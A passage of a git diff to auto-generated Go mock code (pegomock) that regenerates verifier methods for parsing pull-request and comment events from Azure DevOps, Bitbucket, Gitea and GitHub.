*VerifierMockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) *MockEventParsing_ParseAzureDevopsPull_OngoingVerification { + _params := []pegomock.Param{adPull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsPull", _params, verifier.timeout) + return &MockEventParsing_ParseAzureDevopsPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGithubRepo_OngoingVerification struct { +type MockEventParsing_ParseAzureDevopsPull_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetCapturedArguments() *github.Repository { - ghRepo := c.GetAllCapturedArguments() - return ghRepo[len(ghRepo)-1] +func (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetCapturedArguments() *azuredevops.GitPullRequest { + adPull := c.GetAllCapturedArguments() + return adPull[len(adPull)-1] } -func (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.Repository) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*github.Repository, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*github.Repository) +func (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitPullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*azuredevops.GitPullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*azuredevops.GitPullRequest) + } } } return } -func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestEvent(event go_gitlab.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification { - params := []pegomock.Param{event} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestEvent", params, verifier.timeout) - return &MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification { + _params := []pegomock.Param{pullEvent} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsPullEvent", _params, verifier.timeout) + return &MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification struct { +type MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetCapturedArguments() go_gitlab.MergeEvent { - event := c.GetAllCapturedArguments() - return event[len(event)-1] +func (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetCapturedArguments() azuredevops.Event { + pullEvent := c.GetAllCapturedArguments() + return pullEvent[len(pullEvent)-1] } -func (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []go_gitlab.MergeEvent) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]go_gitlab.MergeEvent, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(go_gitlab.MergeEvent) +func (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []azuredevops.Event) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]azuredevops.Event, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(azuredevops.Event) + } } } return } -func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestCommentEvent(event go_gitlab.MergeCommentEvent) *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification { - params := []pegomock.Param{event} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestCommentEvent", params, verifier.timeout) - return &MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification { + _params := []pegomock.Param{adRepo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsRepo", _params, verifier.timeout) + return &MockEventParsing_ParseAzureDevopsRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification struct { +type MockEventParsing_ParseAzureDevopsRepo_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetCapturedArguments() go_gitlab.MergeCommentEvent { - event := c.GetAllCapturedArguments() - return event[len(event)-1] +func (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetCapturedArguments() *azuredevops.GitRepository { + adRepo := c.GetAllCapturedArguments() + return adRepo[len(adRepo)-1] } -func (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []go_gitlab.MergeCommentEvent) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]go_gitlab.MergeCommentEvent, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(go_gitlab.MergeCommentEvent) +func (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitRepository) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*azuredevops.GitRepository, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*azuredevops.GitRepository) + } } } return } -func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequest(mr *go_gitlab.MergeRequest, baseRepo models.Repo) *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification { - params := []pegomock.Param{mr, baseRepo} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequest", params, verifier.timeout) - return &MockEventParsing_ParseGitlabMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification { + _params := []pegomock.Param{body} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketCloudPullCommentEvent", _params, verifier.timeout) + return &MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGitlabMergeRequest_OngoingVerification struct { +type MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetCapturedArguments() (*go_gitlab.MergeRequest, models.Repo) { - mr, baseRepo := c.GetAllCapturedArguments() - return mr[len(mr)-1], baseRepo[len(baseRepo)-1] +func (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte { + body := c.GetAllCapturedArguments() + return body[len(body)-1] } -func (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_gitlab.MergeRequest, _param1 []models.Repo) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*go_gitlab.MergeRequest, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*go_gitlab.MergeRequest) - } - _param1 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.Repo) +func (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.([]byte) + } } } return } func (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification { - params := []pegomock.Param{body} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketCloudPullEvent", params, verifier.timeout) + _params := []pegomock.Param{body} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketCloudPullEvent", _params, verifier.timeout) return &MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -704,227 +867,414 @@ func (c *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification) GetC } func (c *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.([]byte) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.([]byte) + } } } return } -func (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification { - params := []pegomock.Param{body} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketCloudPullCommentEvent", params, verifier.timeout) - return &MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification { + _params := []pegomock.Param{body} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketServerPullCommentEvent", _params, verifier.timeout) + return &MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification struct { +type MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte { +func (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte { body := c.GetAllCapturedArguments() return body[len(body)-1] } -func (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.([]byte) +func (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.([]byte) + } } } return } -func (verifier *VerifierMockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string) *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification { - params := []pegomock.Param{eventTypeHeader} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetBitbucketCloudPullEventType", params, verifier.timeout) - return &MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseBitbucketServerPullEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification { + _params := []pegomock.Param{body} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketServerPullEvent", _params, verifier.timeout) + return &MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification struct { +type MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetCapturedArguments() string { - eventTypeHeader := c.GetAllCapturedArguments() - return eventTypeHeader[len(eventTypeHeader)-1] +func (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetCapturedArguments() []byte { + body := c.GetAllCapturedArguments() + return body[len(body)-1] } -func (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.([]byte) + } } } return } -func (verifier *VerifierMockEventParsing) ParseBitbucketServerPullEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification { - params := []pegomock.Param{body} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketServerPullEvent", params, verifier.timeout) - return &MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseGiteaIssueCommentEvent(event gitea0.GiteaIssueCommentPayload) *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification { + _params := []pegomock.Param{event} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGiteaIssueCommentEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification struct { +type MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetCapturedArguments() []byte { - body := c.GetAllCapturedArguments() - return body[len(body)-1] +func (c *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification) GetCapturedArguments() gitea0.GiteaIssueCommentPayload { + event := c.GetAllCapturedArguments() + return event[len(event)-1] } -func (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.([]byte) +func (c *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []gitea0.GiteaIssueCommentPayload) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]gitea0.GiteaIssueCommentPayload, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(gitea0.GiteaIssueCommentPayload) + } } } return } -func (verifier *VerifierMockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification { - params := []pegomock.Param{body} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketServerPullCommentEvent", params, verifier.timeout) - return &MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseGiteaPull(pull *gitea.PullRequest) *MockEventParsing_ParseGiteaPull_OngoingVerification { + _params := []pegomock.Param{pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGiteaPull", _params, verifier.timeout) + return &MockEventParsing_ParseGiteaPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification struct { +type MockEventParsing_ParseGiteaPull_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte { - body := c.GetAllCapturedArguments() - return body[len(body)-1] +func (c *MockEventParsing_ParseGiteaPull_OngoingVerification) GetCapturedArguments() *gitea.PullRequest { + pull := c.GetAllCapturedArguments() + return pull[len(pull)-1] } -func (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([][]byte, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.([]byte) +func (c *MockEventParsing_ParseGiteaPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*gitea.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*gitea.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*gitea.PullRequest) + } } } return } -func (verifier *VerifierMockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification { - params := []pegomock.Param{eventTypeHeader} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetBitbucketServerPullEventType", params, verifier.timeout) - return &MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseGiteaPullRequestEvent(event gitea.PullRequest) *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification { + _params := []pegomock.Param{event} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGiteaPullRequestEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification struct { +type MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetCapturedArguments() string { - eventTypeHeader := c.GetAllCapturedArguments() - return eventTypeHeader[len(eventTypeHeader)-1] +func (c *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification) GetCapturedArguments() gitea.PullRequest { + event := c.GetAllCapturedArguments() + return event[len(event)-1] } -func (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []gitea.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]gitea.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(gitea.PullRequest) + } } } return } -func (verifier *VerifierMockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) *MockEventParsing_ParseAzureDevopsPull_OngoingVerification { - params := []pegomock.Param{adPull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsPull", params, verifier.timeout) - return &MockEventParsing_ParseAzureDevopsPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification { + _params := []pegomock.Param{logger, comment} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubIssueCommentEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseAzureDevopsPull_OngoingVerification struct { +type MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetCapturedArguments() *azuredevops.GitPullRequest { - adPull := c.GetAllCapturedArguments() - return adPull[len(adPull)-1] +func (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.IssueCommentEvent) { + logger, comment := c.GetAllCapturedArguments() + return logger[len(logger)-1], comment[len(comment)-1] } -func (c *MockEventParsing_ParseAzureDevopsPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitPullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*azuredevops.GitPullRequest, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*azuredevops.GitPullRequest) +func (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.IssueCommentEvent) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]*github.IssueCommentEvent, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*github.IssueCommentEvent) + } } } return } -func (verifier *VerifierMockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification { - params := []pegomock.Param{pullEvent} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsPullEvent", params, verifier.timeout) - return &MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) *MockEventParsing_ParseGithubPull_OngoingVerification { + _params := []pegomock.Param{logger, ghPull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubPull", _params, verifier.timeout) + return &MockEventParsing_ParseGithubPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification struct { +type MockEventParsing_ParseGithubPull_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetCapturedArguments() azuredevops.Event { - pullEvent := c.GetAllCapturedArguments() - return pullEvent[len(pullEvent)-1] +func (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.PullRequest) { + logger, ghPull := c.GetAllCapturedArguments() + return logger[len(logger)-1], ghPull[len(ghPull)-1] } -func (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []azuredevops.Event) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]azuredevops.Event, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(azuredevops.Event) +func (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]*github.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*github.PullRequest) + } } } return } -func (verifier *VerifierMockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification { - params := []pegomock.Param{adRepo} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsRepo", params, verifier.timeout) - return &MockEventParsing_ParseAzureDevopsRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) *MockEventParsing_ParseGithubPullEvent_OngoingVerification { + _params := []pegomock.Param{logger, pullEvent} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubPullEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGithubPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseAzureDevopsRepo_OngoingVerification struct { +type MockEventParsing_ParseGithubPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetCapturedArguments() *azuredevops.GitRepository { - adRepo := c.GetAllCapturedArguments() - return adRepo[len(adRepo)-1] +func (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.PullRequestEvent) { + logger, pullEvent := c.GetAllCapturedArguments() + return logger[len(logger)-1], pullEvent[len(pullEvent)-1] } -func (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitRepository) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*azuredevops.GitRepository, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*azuredevops.GitRepository) +func (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.PullRequestEvent) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]*github.PullRequestEvent, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*github.PullRequestEvent) + } + } + } + return +} + +func (verifier *VerifierMockEventParsing) ParseGithubRepo(ghRepo *github.Repository) *MockEventParsing_ParseGithubRepo_OngoingVerification { + _params := []pegomock.Param{ghRepo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubRepo", _params, verifier.timeout) + return &MockEventParsing_ParseGithubRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockEventParsing_ParseGithubRepo_OngoingVerification struct { + 